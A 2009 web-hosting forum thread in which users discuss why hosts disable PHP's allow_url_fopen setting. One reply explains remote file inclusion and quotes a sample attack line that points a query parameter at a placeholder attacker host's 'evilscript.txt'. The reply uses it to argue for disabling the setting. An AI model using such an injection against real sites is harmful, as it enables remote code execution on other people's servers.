1. Advertising
    y u no do it?

    Advertising (learn more)

    Advertise virtually anything here, with CPM banner ads, CPM email ads and CPC contextual links. You can target relevant areas of the site and show ads based on geographical location of the user if you wish.

    Starts at just $1 per CPM or $0.10 per CPC.

why hosts refused to enable allow_url_fopen PHP setting?

Discussion in 'Web Hosting' started by jamuna, Jan 22, 2009.

  1. #1
    i need to install RSS To Post plugin in mybb forum at satnetforum.com
    It needs following function in server.

    'Your allow_url_fopen PHP setting is currently disabled. RSS To Post will NOT function.'

    is it possible to enable the function at server level?

    any host here to support such requirement?

    my present host suntex hosting refused to do so.

    i am considering to move my forum to suitable host.
     
    jamuna, Jan 22, 2009 IP
  2. ~Monty~

    ~Monty~ Active Member

    Messages:
    397
    Likes Received:
    6
    Best Answers:
    0
    Trophy Points:
    60
    As Seller:
    100% - 0
    As Buyer:
    100% - 0
    #2
    99% hosts allow it. 1% don't allow it.
    2 reasons: 1) Rapidleech 2)They are free hosts
     
    ~Monty~, Jan 22, 2009 IP
  3. njoker555

    njoker555 Notable Member

    Messages:
    4,392
    Likes Received:
    139
    Best Answers:
    0
    Trophy Points:
    240
    As Seller:
    100% - 0
    As Buyer:
    100% - 1
    #3
    most hosts allow it, not sure if I'd say 99% of all hosts :) and they refused to enable it for you? time to move out then lol
     
    njoker555, Jan 22, 2009 IP
  4. jamuna

    jamuna Active Member

    Messages:
    2,089
    Likes Received:
    24
    Best Answers:
    0
    Trophy Points:
    80
    As Seller:
    100% - 0
    As Buyer:
    100% - 0
    #4
    my present host suntex hosting refused to do so.
    is there any security related problem?
    that's why is ask here?
     
    jamuna, Jan 22, 2009 IP
  5. weanz

    weanz Active Member

    Messages:
    187
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    51
    As Seller:
    100% - 0
    As Buyer:
    100% - 0
    #5
    It did has security problems, it may overload the server if everyone use spider to grab the content. It need to agreed with your host when using that. I think it wont be a problem in most of the case.
     
    weanz, Jan 22, 2009 IP
  6. njoker555

    njoker555 Notable Member

    Messages:
    4,392
    Likes Received:
    139
    Best Answers:
    0
    Trophy Points:
    240
    As Seller:
    100% - 0
    As Buyer:
    100% - 1
    #6
    it's not a security risk because the feature is used to grab content from outside sources - usually used in scripts that update, for example, a shoutcast monitoring script where it tells you what song is currently playing and how many listeners there are

    and as long as it isn't trying to grab a 1000 things from a 1000 different websites, it won't overload anything. Some people try to open search engines with this and if a host has a good monitoring system, they will be able to stop the server from even coming close to overloading.

    I guess your current host doesn't want to take the risk or they don't want to be bothered with it, OR they don't even have control over it, I am not familiar with the company so I can't say for sure.
     
    njoker555, Jan 22, 2009 IP
  7. sajidshabbir

    sajidshabbir Well-Known Member

    Messages:
    605
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    103
    As Seller:
    100% - 0
    As Buyer:
    100% - 0
    #7
    We are currently allowing this to our Customer

    and there are too much other hosts which allows this

     
    sajidshabbir, Jan 22, 2009 IP
  8. qualityhostings

    qualityhostings Well-Known Member

    Messages:
    1,764
    Likes Received:
    9
    Best Answers:
    0
    Trophy Points:
    105
    As Seller:
    100% - 0
    As Buyer:
    100% - 0
    #8
    If enabled, allow_url_fopen allows PHP's file functions -- such as file_get_contents() and the include and require statements -- can retrieve data from remote locations, like an FTP or web site. Programmers frequently forget this and don't do proper input filtering when passing user-provided data to these functions, opening them up to code injection vulnerabilities. A large number of code injection vulnerabilities reported in PHP-based web applications are caused by the combination of enabling allow_url_fopen and bad input filtering.

    Host really care about the security of the server usually disable it.

    allow_url_fopen is on by default. A typical server owners will not really know about this. They arent aware of these things so dont bother to disable it.

    We use alterted php configuration to get the maximum security. And we know what are we doing.

    Hosts like dreamhost is not allowing it


    If allow_url_fopen is enabled, this system can be exploited by simply changing the value of the variable in the querystring:

    include("http://yourdomain.com/index.php?page=http://hacksite .net/evilscript.txt");


    These kind of attack logs can be found simply by checking the ModSecurity Log file. I have seen thse attacks towards the joomla sites.



    So to avoid potential compromisse of our clients websites the PHP variable allow_url_fopen=off is on all our servers now


    Check this too



    So basically I will say, those say this is not a security risk, they dont know actually what they are saying.


    Vivek
     
    qualityhostings, Jan 22, 2009 IP
    jamuna likes this.
  9. jamuna

    jamuna Active Member

    Messages:
    2,089
    Likes Received:
    24
    Best Answers:
    0
    Trophy Points:
    80
    As Seller:
    100% - 0
    As Buyer:
    100% - 0
    #9
    thanks for this information
     
    jamuna, Jan 23, 2009 IP
  10. KlearConcepts

    KlearConcepts Peon

    Messages:
    349
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    0
    As Seller:
    100% - 0
    As Buyer:
    100% - 0
    #10
    In some cases, web hosts see it as a security risk so they wouldn't allow it to the public. But a simple ticket would enable them to open it for you on a per-account basis.
     
    KlearConcepts, Jan 23, 2009 IP
  11. qualityhostings

    qualityhostings Well-Known Member

    Messages:
    1,764
    Likes Received:
    9
    Best Answers:
    0
    Trophy Points:
    105
    As Seller:
    100% - 0
    As Buyer:
    100% - 0
    #11
    per account basis ?
    Can you tell me how can I enabled it for a single account ?
    I really dont think so. :p
     
    qualityhostings, Jan 23, 2009 IP
  12. SOULZRIPPER

    SOULZRIPPER Well-Known Member

    Messages:
    2,382
    Likes Received:
    39
    Best Answers:
    0
    Trophy Points:
    165
    As Seller:
    100% - 0
    As Buyer:
    100% - 0
    #12
    SOULZRIPPER, Jan 23, 2009 IP
  13. qualityhostings

    qualityhostings Well-Known Member

    Messages:
    1,764
    Likes Received:
    9
    Best Answers:
    0
    Trophy Points:
    105
    As Seller:
    100% - 0
    As Buyer:
    100% - 0
    #13
    qualityhostings, Jan 23, 2009 IP
  14. qualityhostings

    qualityhostings Well-Known Member

    Messages:
    1,764
    Likes Received:
    9
    Best Answers:
    0
    Trophy Points:
    105
    As Seller:
    100% - 0
    As Buyer:
    100% - 0
    #14

    Anyways, we do not want to disappoint any of our clients.
    I just enabled it and will be putting an eye on it for some days.
     
    qualityhostings, Jan 24, 2009 IP
  15. jamuna

    jamuna Active Member

    Messages:
    2,089
    Likes Received:
    24
    Best Answers:
    0
    Trophy Points:
    80
    As Seller:
    100% - 0
    As Buyer:
    100% - 0
    #15
    great help thanks.
    i have multiple hosting accounts.
    All others are enabled the above setting.
    That's why i ask here.
     
    jamuna, Jan 26, 2009 IP
  16. KlearConcepts

    KlearConcepts Peon

    Messages:
    349
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    0
    As Seller:
    100% - 0
    As Buyer:
    100% - 0
    #16
    You can tell your customer to make their own php.ini file in their FTP and they can turn on the function from their end.
     
    KlearConcepts, Jan 26, 2009 IP